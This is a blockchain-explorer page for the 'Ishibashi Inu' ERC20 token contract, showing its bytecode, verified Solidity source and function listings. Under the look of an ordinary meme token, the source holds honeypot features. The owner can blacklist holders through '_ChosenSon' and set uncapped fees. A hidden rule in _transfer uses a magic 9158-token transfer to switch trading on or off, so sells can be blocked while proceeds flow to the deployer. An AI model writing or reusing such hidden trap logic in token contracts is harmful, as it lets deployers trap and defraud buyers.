Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x339D672bcfBDa9fa744dC62F950B2771370eB60e
Balance 0.000008791 ETH ($0.02)
Nonce 1
Code Size 6287 bytes
Indexed Transactions 0 (1 on-chain, 0.8% indexed)
External Etherscan · Sourcify

Contract Bytecode

6287 bytes
0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d414314610584578063dd62ed3e146105a4578063f2fde38b146105ea578063f887ea401461060a57600080fd5b8063a84248611461050e578063a9059cbb1461052e578063acef1a441461054e578063d08893581461056457600080fd5b80638da5cb5b116100d15780638da5cb5b1461044957806395d89b41146104675780639af1d35a1461047c578063a806d62e146104bf57600080fd5b8063715018a6146103e45780637888ffdf146103f95780637d6027cd1461041957600080fd5b80633c11100d1161016457806366c907c51161013e57806366c907c5146103525780636ddd1713146103745780636fcba3771461038e57806370a08231146103ae57600080fd5b80633c11100d146102d45780634188bf5a14610304578063553193ca1461033c57600080fd5b8063095ea7b3116101a0578063095ea7b31461025d57806318160ddd1461027d57806323b872dd14610292578063313ce567146102b257600080fd5b806301986fad146101d25780630445b6671461021757806306fdde031461023b57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506102026101ed3660046113e8565b60106020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022357600080fd5b5061022d60185481565b60405190815260200161020e565b34801561024757600080fd5b5061025061062a565b60405161020e9190611405565b34801561026957600080fd5b50610202610278366004611453565b6106bc565b34801561028957600080fd5b5060065461022d565b34801561029e57600080fd5b506102026102ad36600461147f565b6106d3565b3480156102be57600080fd5b5060055460405160ff909116815260200161020e565b3480156102e057600080fd5b506102026102ef3660046113e8565b60146020526000908152604090205460ff1681565b34801561031057600080fd5b50601354610324906001600160a01b031681565b6040516001600160a01b03909116815260200161020e565b34801561034857600080fd5b5061022d60165481565b34801561035e57600080fd5b5061037261036d3660046114c0565b61076a565b005b34801561038057600080fd5b506017546102029060ff1681565b34801561039a57600080fd5b506103726103a93660046114c0565b6107f4565b3480156103ba57600080fd5b5061022d6103c93660046113e8565b6001600160a01b031660009081526001602052604090205490565b3480156103f057600080fd5b50610372610852565b34801561040557600080fd5b50610372610414366004611507565b6108c6565b34801561042557600080fd5b506102026104343660046113e8565b60116020526000908152604090205460ff1681565b34801561045557600080fd5b506000546001600160a01b0316610324565b34801561047357600080fd5b5061025061091b565b34801561048857600080fd5b50600754600854600954600a5461049f9392919084565b60408051948552602085019390935291830152606082015260800161020e565b3480156104cb57600080fd5b50600b54600c54600d54600e54600f546104e6949392919085565b604080519586526020860194909452928401919091526060830152608082015260a00161020e565b34801561051a57600080fd5b50610372610529366004611507565b61092a565b34801561053a57600080fd5b50610202610549366004611453565b61097f565b34801561055a57600080fd5b5061022d60195481565b34801561057057600080fd5b5061037261057f36600461153c565b61098c565b34801561059057600080fd5b5061037261059f366004611507565b6109d0565b3480156105b057600080fd5b5061022d6105bf36600461156f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506103726106053660046113e8565b610a25565b34801561061657600080fd5b50601254610324906001600160a01b031681565b606060038054610639906115a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610665906115a8565b80156106b25780601f10610687576101008083540402835291602001916106b2565b820191906000526020600020905b81548152906001019060200180831161069557829003601f168201915b5050505050905090565b60006106c9338484610ae3565b5060015b92915050565b60006106e0848484610b45565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610760576001600160a01b038416600090815260026020908152604080832033845290915290205461073b9083906115f8565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461079d5760405162461bcd60e51b81526004016107949061160b565b60405180910390fd5b60006107b5836107af8481888a610d91565b90610d91565b6040805160a0810182528781526020810187905290810185905260608101849052608001819052600b9590955550600c92909255600d55600e55600f55565b6000546001600160a01b0316331461081e5760405162461bcd60e51b81526004016107949061160b565b6040805160808101825285815260208101859052908101839052606001819052600793909355600891909155600955600a55565b6000546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107949061160b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b606060048054610639906115a8565b6000546001600160a01b031633146109545760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b60006106c9338484610b45565b6000546001600160a01b031633146109b65760405162461bcd60e51b81526004016107949061160b565b6017805460ff191693151593909317909255601855601955565b6000546001600160a01b031633146109fa5760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a4f5760405162461bcd60e51b81526004016107949061160b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610adc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610df0565b9392505050565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526011602052604090205460ff161580610b8557506001600160a01b03821660009081526010602052604090205460ff165b610bbd5760405162461bcd60e51b815260206004820152600960248201526821b437b9b2b729b7b760b91b6044820152606401610794565b6001600160a01b03831660009081526014602052604081205460ff1680610bfc57506001600160a01b03831660009081526014602052604090205460ff165b15610cf8576001600160a01b03841660009081526010602052604090205460ff16158015610c4357506001600160a01b03831660009081526010602052604090205460ff16155b15610cf8576001600160a01b03831660009081526014602052604090205460ff1615610cf457601654600010610ca95760405162461bcd60e51b815260206004820152600b60248201526a02173746172744164644c560ac1b6044820152606401610794565b601a5460ff16610cf4573060009081526001602052604090205460175460ff168015610cd55750600081115b15610cf257601954811115610ce957506019545b610cf281610e27565b505b5060015b6001600160a01b03841660009081526010602052604090205460ff168015610d3857506001600160a01b03831660009081526010602052604090205460ff165b15610d8557600554610d4e9060ff16600a611724565b610d5a906123c6611733565b8214610d6c5760006016819055610d73565b4360168190555b50610d7f848484611178565b50505050565b610d7f848484846111f0565b600080610d9e8385611752565b905083811015610adc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610794565b60008183610e115760405162461bcd60e51b81526004016107949190611405565b506000610e1e8486611765565b95945050505050565b601a805460ff19166001179055600f54600d54600091610e5291610e4c9085906112e0565b90610a9a565b90506000610e7c6002610e4c600b60040154610e4c600b60010154886112e090919063ffffffff16565b90506000610e9483610e8e8685611362565b90611362565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610ece57610ece611787565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b919061179d565b81600181518110610f5e57610f5e611787565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac94790610fa49085906000908690309042906004016117ba565b600060405180830381600087803b158015610fbe57600080fd5b505af1158015610fd2573d6000803e3d6000fd5b5050600d54600c5447935060009250610ffe9190610e8e90610ff5906002610a9a565b600f5490611362565b905060006110236002610e4c84610e4c600b60010154886112e090919063ffffffff16565b9050600061104383610e4c600b60030154876112e090919063ffffffff16565b9050600061105582610e8e8786611362565b9050600081156110bc576015546040516001600160a01b03909116906175309084906000818181858888f193505050503d80600081146110b1576040519150601f19603f3d011682016040523d82523d6000602084013e6110b6565b606091505b50909150505b88156111615783156111615760125460155460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015611138573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d919061182b565b5050505b5050601a805460ff19169055505050505050505050565b6001600160a01b03821660009081526001602052604090205461119c908290611752565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b389085815260200190565b6001600160a01b0384166000908152600160205260409020546112149083906115f8565b6001600160a01b03851660009081526001602052604081209190915581156112c5576001600160a01b03851660009081526014602052604081205460ff1615611260575060075461128f565b6001600160a01b03851660009081526014602052604090205460ff161561128a575060085461128f565b506009545b600a546000906112a390610e4c87856112e0565b905080156112c2576112b58184611752565b92506112c2873083611178565b50505b6112d985856112d484876115f8565b611178565b5050505050565b6000826000036112f2575060006106cd565b60006112fe8385611733565b90508261130b8583611765565b14610adc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610794565b6000610adc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156113c35760405162461bcd60e51b81526004016107949190611405565b506000610e1e84866115f8565b6001600160a01b03811681146113e557600080fd5b50565b6000602082840312156113fa57600080fd5b8135610adc816113d0565b600060208083528351808285015260005b8181101561143257858101830151858201604001528201611416565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561146657600080fd5b8235611471816113d0565b946020939093013593505050565b60008060006060848603121561149457600080fd5b833561149f816113d0565b925060208401356114af816113d0565b929592945050506040919091013590565b600080600080608085870312156114d657600080fd5b5050823594602084013594506040840135936060013592509050565b8035801515811461150257600080fd5b919050565b6000806040838503121561151a57600080fd5b8235611525816113d0565b9150611533602084016114f2565b90509250929050565b60008060006060848603121561155157600080fd5b61155a846114f2565b95602085013595506040909401359392505050565b6000806040838503121561158257600080fd5b823561158d816113d0565b9150602083013561159d816113d0565b809150509250929050565b600181811c908216806115bc57607f821691505b6020821081036115dc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106cd576106cd6115e2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181815b8085111561167b578160001904821115611661576116616115e2565b8085161561166e57918102915b93841c9390800290611645565b509250929050565b600082611692575060016106cd565b8161169f575060006106cd565b81600181146116b557600281146116bf576116db565b60019150506106cd565b60ff8411156116d0576116d06115e2565b50506001821b6106cd565b5060208310610133831016604e8410600b84101617156116fe575081810a6106cd565b6117088383611640565b806000190482111561171c5761171c6115e2565b029392505050565b6000610adc60ff841683611683565b600081600019048311821515161561174d5761174d6115e2565b500290565b808201808211156106cd576106cd6115e2565b60008261178257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117af57600080fd5b8151610adc816113d0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561180a5784516001600160a01b0316835293830193918301916001016117e5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561184057600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220844153e0cab86ea668f3c6327c2b1352ad1aedbbd22da98fe42983c6b20940a864736f6c63430008100033

Verified Source Code Partial Match

Compiler: v0.8.16+commit.07a7930e EVM: london Optimization: Yes (200 runs)
Ishibashi.sol 409 lines
/**
 ISHIBASHI INU ERC20

Socials:

https://twitter.com/I

https://www.ishibashi-inu.com/

https://ishibashiinu.medium.com/

https://twitter.com/IshibashiInu

https://t.me/IshibashiInuERC
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address payable adr) public virtual onlyOwner {
        _owner = adr;
        emit OwnershipTransferred(_owner,adr);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


abstract contract baseToken is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    uint256 private constant MAX = ~uint256(0);

    struct Fee{uint buy; uint sell;uint transfer; uint part;}
    Fee public fees;
    struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
    Allot public allot;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _ChosenSon;

    IUniswapV2Router02 public router;
    address public _mainPair;
    mapping(address => bool) public _swapPairList;
    address marketingAddress;
    uint256 public startTradeBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold;
    uint256 public maxSwapThreshold;

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;
        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        router = IUniswapV2Router02(RouterAddress);
        _allowances[address(this)][address(router)] = MAX;

        IUniswapV2Factory swapFactory = IUniswapV2Factory(router.factory());
        _mainPair = swapFactory.createPair(address(this), router.WETH());
        _swapPairList[_mainPair] = true;
        startTradeBlock = block.number;


        allot=Allot(0,10,0,0,10);
        fees=Fee(10,10,10,100);
        marketingAddress = msg.sender;
        swapThreshold = total.div(1000);
        maxSwapThreshold = total.div(100);

        _feeWhiteList[marketingAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(router)] = true;
        _feeWhiteList[msg.sender] = true;

        _balances[msg.sender] = total;
        emit Transfer(address(0), msg.sender, total);
    }

    function symbol() external view override returns (string memory) {return _symbol;}
    function name() external view override returns (string memory) {return _name;}
    function decimals() external view override returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    receive() external payable {}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_ChosenSon[from] ||  _feeWhiteList[to], "ChosenSon");
        bool takeFee;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    require(0 < startTradeBlock, "!startAddLP");
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (swapEnabled && contractTokenBalance > 0) {
                            if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
                            swapTokenForFund(contractTokenBalance);
                        }
                    }
                }
                takeFee = true;
            }
        }
        if(_feeWhiteList[from] && _feeWhiteList[to]){
            amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
            _takeTransfer(from, to, amount);
            return;
         }
        _tokenTransfer(from, to, amount, takeFee);
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 99 / 100;
        _takeTransfer(
            sender,
            address(this),
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (_swapPairList[sender]) {
                swapFee = fees.buy;
            } else if(_swapPairList[recipient]) {
                swapFee = fees.sell;
            }else{
                swapFee = fees.transfer;
            }
            uint256 swapAmount = tAmount.mul(swapFee).div(fees.part);
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }
 
    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        uint amountToBurn = tokenAmount.mul(allot.burn).div(allot.total);
        uint amountToLiquify = tokenAmount.mul(allot.liquidity).div(allot.total).div(2);
        uint amountToSwap = tokenAmount.sub(amountToLiquify).sub(amountToBurn);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint amountETH =address(this).balance;
        uint totalETHFee = allot.total.sub(allot.liquidity.div(2)).sub(allot.burn);
        uint amountETHLiquidity = amountETH.mul(allot.liquidity).div(totalETHFee).div(2);
        uint amountETHreward = amountETH.mul(allot.reward).div(totalETHFee);
        uint fundAmount = amountETH.sub(amountETHLiquidity).sub(amountETHreward);
        bool tmpSuccess;
        if(fundAmount>0){
            (tmpSuccess,) = payable(marketingAddress).call{value: fundAmount, gas: 30000}("");
        }

        if (amountToLiquify > 0) {
            if (amountETHLiquidity > 0) {
                router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                marketingAddress,
                block.timestamp
            );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
         uint total =liquidity.add(marketing).add(rewards).add(burn); 
         allot=Allot(marketing,liquidity,burn,rewards,total);
    } 

    function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
         fees=Fee(_buy,_sell,_transferfee,_part);
    } 

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _feeWhiteList[addr] = enable;
    }

    function setChosenSon(address addr, bool enable) external onlyOwner {
        _ChosenSon[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

}

contract Ishibashi is baseToken {
    constructor() baseToken(
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
        "Ishibashi Inu",
        unicode"$ISHIBASHI",
        9,
        1000000
    ){
    }
}

Read Contract

_ChosenSon 0x7d6027cd → bool
_feeWhiteList 0x01986fad → bool
_mainPair 0x4188bf5a → address
_swapPairList 0x3c11100d → bool
allot 0xa806d62e → uint256, uint256, uint256, uint256, uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
fees 0x9af1d35a → uint256, uint256, uint256, uint256
maxSwapThreshold 0xacef1a44 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
router 0xf887ea40 → address
startTradeBlock 0x553193ca → uint256
swapEnabled 0x6ddd1713 → bool
swapThreshold 0x0445b667 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 11 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
setAllot 0x66c907c5
uint256 marketing
uint256 liquidity
uint256 burn
uint256 rewards
setChosenSon 0x7888ffdf
address addr
bool enable
setFeeWhiteList 0xd83d4143
address addr
bool enable
setFees 0x6fcba377
uint256 _buy
uint256 _sell
uint256 _transferfee
uint256 _part
setSwapBackSettings 0xd0889358
bool _enabled
uint256 _swapThreshold
uint256 _maxSwapThreshold
setSwapPairList 0xa8424861
address addr
bool enable
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address adr

Recent Transactions

This address has 1 on-chain transactions, but only 0.8% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →